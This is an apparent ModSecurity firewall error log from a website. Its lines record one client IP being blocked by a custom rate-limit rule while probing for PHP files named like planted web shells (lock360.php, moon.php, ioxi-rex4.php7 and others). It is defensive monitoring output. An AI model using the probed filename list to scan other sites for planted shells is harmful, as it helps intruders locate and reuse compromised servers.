[Mon Dec 08 05:59:24.180268 2025] [:error] [pid 54671:tid 54693] [client 4.189.128.201:9423] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aTX4vFqOuiNLLCfVy7-MeAAAARM"]
[Mon Dec 08 05:59:24.408731 2025] [:error] [pid 54671:tid 54695] [client 4.189.128.201:51299] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uana.php"] [unique_id "aTX4vFqOuiNLLCfVy7-MewAAARU"]
[Mon Dec 08 05:59:24.639961 2025] [:error] [pid 18635:tid 18686] [client 4.189.128.201:28717] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTX4vG4kCC_HamQRuE10dwAAAFU"]
[Mon Dec 08 05:59:24.870173 2025] [:error] [pid 54704:tid 54715] [client 4.189.128.201:28734] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTX4vHL1WYsMMmlqjh4UsQAAAUg"]
[Mon Dec 08 05:59:25.097676 2025] [:error] [pid 54705:tid 54746] [client 4.189.128.201:58483] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTX4vadUeDkxwo12SG8m2gAAAYw"]
[Mon Dec 08 05:59:25.325916 2025] [:error] [pid 54705:tid 54748] [client 4.189.128.201:28913] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock360.php"] [unique_id "aTX4vadUeDkxwo12SG8m2wAAAY4"]
[Mon Dec 08 05:59:25.552922 2025] [:error] [pid 18634:tid 18639] [client 4.189.128.201:19027] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aTX4vZ-H1wCBKPf4vhN9zwAAAAE"]
[Mon Dec 08 05:59:25.780410 2025] [:error] [pid 54671:tid 54674] [client 4.189.128.201:51297] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aTX4vVqOuiNLLCfVy7-MfAAAAQA"]
[Mon Dec 08 05:59:26.014871 2025] [:error] [pid 54705:tid 54755] [client 4.189.128.201:28709] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aTX4vqdUeDkxwo12SG8m3gAAAZU"]
[Mon Dec 08 05:59:26.244723 2025] [:error] [pid 18636:tid 18705] [client 4.189.128.201:58432] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aTX4vugdXnohVr6jm71HsQAAAI0"]
[Mon Dec 08 05:59:26.472673 2025] [:error] [pid 54705:tid 54737] [client 4.189.128.201:51281] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4vqdUeDkxwo12SG8m4QAAAYM"]
[Mon Dec 08 05:59:26.701278 2025] [:error] [pid 54705:tid 54734] [client 4.189.128.201:9463] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4vqdUeDkxwo12SG8m4wAAAYA"]
[Mon Dec 08 05:59:26.928139 2025] [:error] [pid 54705:tid 54750] [client 4.189.128.201:51315] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4vqdUeDkxwo12SG8m5QAAAZA"]
[Mon Dec 08 05:59:27.159016 2025] [:error] [pid 18635:tid 18671] [client 4.189.128.201:28906] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aTX4v24kCC_HamQRuE10eAAAAEY"]
[Mon Dec 08 05:59:27.387517 2025] [:error] [pid 18635:tid 18682] [client 4.189.128.201:9432] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aTX4v24kCC_HamQRuE10eQAAAFE"]
[Mon Dec 08 05:59:27.616351 2025] [:error] [pid 54704:tid 54717] [client 4.189.128.201:28879] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aTX4v3L1WYsMMmlqjh4UswAAAUo"]
[Mon Dec 08 05:59:27.844045 2025] [:error] [pid 18635:tid 18680] [client 4.189.128.201:28878] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aTX4v24kCC_HamQRuE10egAAAE8"]
[Mon Dec 08 05:59:28.072118 2025] [:error] [pid 54705:tid 54738] [client 4.189.128.201:57236] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inc.php"] [unique_id "aTX4wKdUeDkxwo12SG8m6QAAAYQ"]
[Mon Dec 08 05:59:28.299667 2025] [:error] [pid 54704:tid 54721] [client 4.189.128.201:9427] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTX4wHL1WYsMMmlqjh4UtgAAAU4"]
[Mon Dec 08 05:59:28.527263 2025] [:error] [pid 18726:tid 18736] [client 4.189.128.201:28683] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTX4wFwVbxmJGL5LHAc59gAAAMg"]
[Mon Dec 08 05:59:28.754328 2025] [:error] [pid 54671:tid 54680] [client 4.189.128.201:55021] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTX4wFqOuiNLLCfVy7-MgwAAAQY"]
[Mon Dec 08 05:59:28.983394 2025] [:error] [pid 18635:tid 18677] [client 4.189.128.201:28892] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aTX4wG4kCC_HamQRuE10ewAAAEw"]
[Mon Dec 08 05:59:29.210635 2025] [:error] [pid 18634:tid 18655] [client 4.189.128.201:57267] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aTX4wZ-H1wCBKPf4vhN91QAAABE"]
[Mon Dec 08 05:59:29.439806 2025] [:error] [pid 18634:tid 18661] [client 4.189.128.201:58593] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aTX4wZ-H1wCBKPf4vhN91gAAABc"]
[Mon Dec 08 05:59:29.670598 2025] [:error] [pid 18634:tid 18644] [client 4.189.128.201:28918] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aTX4wZ-H1wCBKPf4vhN92AAAAAY"]
[Mon Dec 08 05:59:29.898621 2025] [:error] [pid 18634:tid 18649] [client 4.189.128.201:28708] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aTX4wZ-H1wCBKPf4vhN92gAAAAs"]
[Mon Dec 08 05:59:30.133880 2025] [:error] [pid 54705:tid 54735] [client 4.189.128.201:28915] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aTX4wqdUeDkxwo12SG8m6wAAAYE"]
[Mon Dec 08 05:59:30.361364 2025] [:error] [pid 54705:tid 54736] [client 4.189.128.201:9453] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aTX4wqdUeDkxwo12SG8m7AAAAYI"]
[Mon Dec 08 05:59:30.590056 2025] [:error] [pid 54671:tid 54684] [client 4.189.128.201:28884] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aTX4wlqOuiNLLCfVy7-MhgAAAQo"]
[Mon Dec 08 05:59:30.818953 2025] [:error] [pid 54704:tid 54731] [client 4.189.128.201:55010] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aTX4wnL1WYsMMmlqjh4UuwAAAVg"]
[Mon Dec 08 05:59:31.050950 2025] [:error] [pid 18634:tid 18646] [client 4.189.128.201:51305] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aTX4w5-H1wCBKPf4vhN93AAAAAg"]
[Mon Dec 08 05:59:31.278958 2025] [:error] [pid 18636:tid 18713] [client 4.189.128.201:28917] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aTX4w-gdXnohVr6jm71HtQAAAJU"]
[Mon Dec 08 05:59:31.510996 2025] [:error] [pid 18636:tid 18710] [client 4.189.128.201:9428] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aTX4w-gdXnohVr6jm71HtgAAAJI"]
[Mon Dec 08 05:59:31.741059 2025] [:error] [pid 18726:tid 18752] [client 4.189.128.201:58561] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aTX4w1wVbxmJGL5LHAc5-gAAANg"]
[Mon Dec 08 05:59:31.968432 2025] [:error] [pid 54704:tid 54709] [client 4.189.128.201:60748] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aTX4w3L1WYsMMmlqjh4UvgAAAUI"]
[Mon Dec 08 05:59:32.196003 2025] [:error] [pid 54704:tid 54721] [client 4.189.128.201:54977] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aTX4xHL1WYsMMmlqjh4UwAAAAU4"]
[Mon Dec 08 05:59:32.425778 2025] [:error] [pid 18636:tid 18704] [client 4.189.128.201:28694] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aTX4xOgdXnohVr6jm71HuQAAAIw"]
[Mon Dec 08 05:59:32.653849 2025] [:error] [pid 54704:tid 54728] [client 4.189.128.201:58604] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aTX4xHL1WYsMMmlqjh4UwwAAAVU"]
[Mon Dec 08 05:59:32.883677 2025] [:error] [pid 54705:tid 54748] [client 4.189.128.201:58594] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aTX4xKdUeDkxwo12SG8m7QAAAY4"]
[Mon Dec 08 05:59:33.112417 2025] [:error] [pid 54704:tid 54718] [client 4.189.128.201:9416] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aTX4xXL1WYsMMmlqjh4UxgAAAUs"]
[Mon Dec 08 05:59:33.343394 2025] [:error] [pid 54704:tid 54729] [client 4.189.128.201:19041] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aTX4xXL1WYsMMmlqjh4UyAAAAVY"]
[Mon Dec 08 05:59:33.571578 2025] [:error] [pid 18726:tid 18744] [client 4.189.128.201:9429] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aTX4xVwVbxmJGL5LHAc5_QAAANA"]
[Mon Dec 08 05:59:33.798989 2025] [:error] [pid 54671:tid 54675] [client 4.189.128.201:28903] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aTX4xVqOuiNLLCfVy7-MiQAAAQE"]
[Mon Dec 08 05:59:34.026812 2025] [:error] [pid 18635:tid 18675] [client 4.189.128.201:37986] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aTX4xm4kCC_HamQRuE10gQAAAEo"]
[Mon Dec 08 05:59:34.261765 2025] [:error] [pid 18636:tid 18694] [client 4.189.128.201:55019] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aTX4xugdXnohVr6jm71HvAAAAII"]
[Mon Dec 08 05:59:34.489509 2025] [:error] [pid 18636:tid 18695] [client 4.189.128.201:51324] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aTX4xugdXnohVr6jm71HvwAAAIM"]
[Mon Dec 08 05:59:34.719494 2025] [:error] [pid 54705:tid 54737] [client 4.189.128.201:58588] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aTX4xqdUeDkxwo12SG8m7wAAAYM"]
[Mon Dec 08 05:59:34.947969 2025] [:error] [pid 18726:tid 18741] [client 4.189.128.201:51319] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aTX4xlwVbxmJGL5LHAc6AQAAAM0"]
[Mon Dec 08 05:59:35.182653 2025] [:error] [pid 54705:tid 54740] [client 4.189.128.201:58587] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aTX4x6dUeDkxwo12SG8m8AAAAYY"]
[Mon Dec 08 05:59:35.409870 2025] [:error] [pid 54705:tid 54744] [client 4.189.128.201:60798] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aTX4x6dUeDkxwo12SG8m8QAAAYo"]
[Mon Dec 08 05:59:35.637987 2025] [:error] [pid 54705:tid 54749] [client 4.189.128.201:55031] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTX4x6dUeDkxwo12SG8m8gAAAY8"]
[Mon Dec 08 05:59:35.866317 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:28710] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTX4x6dUeDkxwo12SG8m8wAAAZc"]
[Mon Dec 08 05:59:36.094142 2025] [:error] [pid 54671:tid 54691] [client 4.189.128.201:51264] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTX4yFqOuiNLLCfVy7-MkAAAARE"]
[Mon Dec 08 05:59:36.332656 2025] [:error] [pid 54671:tid 54688] [client 4.189.128.201:54998] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTX4yFqOuiNLLCfVy7-MkQAAAQ4"]
[Mon Dec 08 05:59:36.560751 2025] [:error] [pid 54671:tid 54685] [client 4.189.128.201:46717] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aTX4yFqOuiNLLCfVy7-MlAAAAQs"]
[Mon Dec 08 05:59:36.793356 2025] [:error] [pid 18634:tid 18662] [client 4.189.128.201:55003] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aTX4yJ-H1wCBKPf4vhN96QAAABg"]
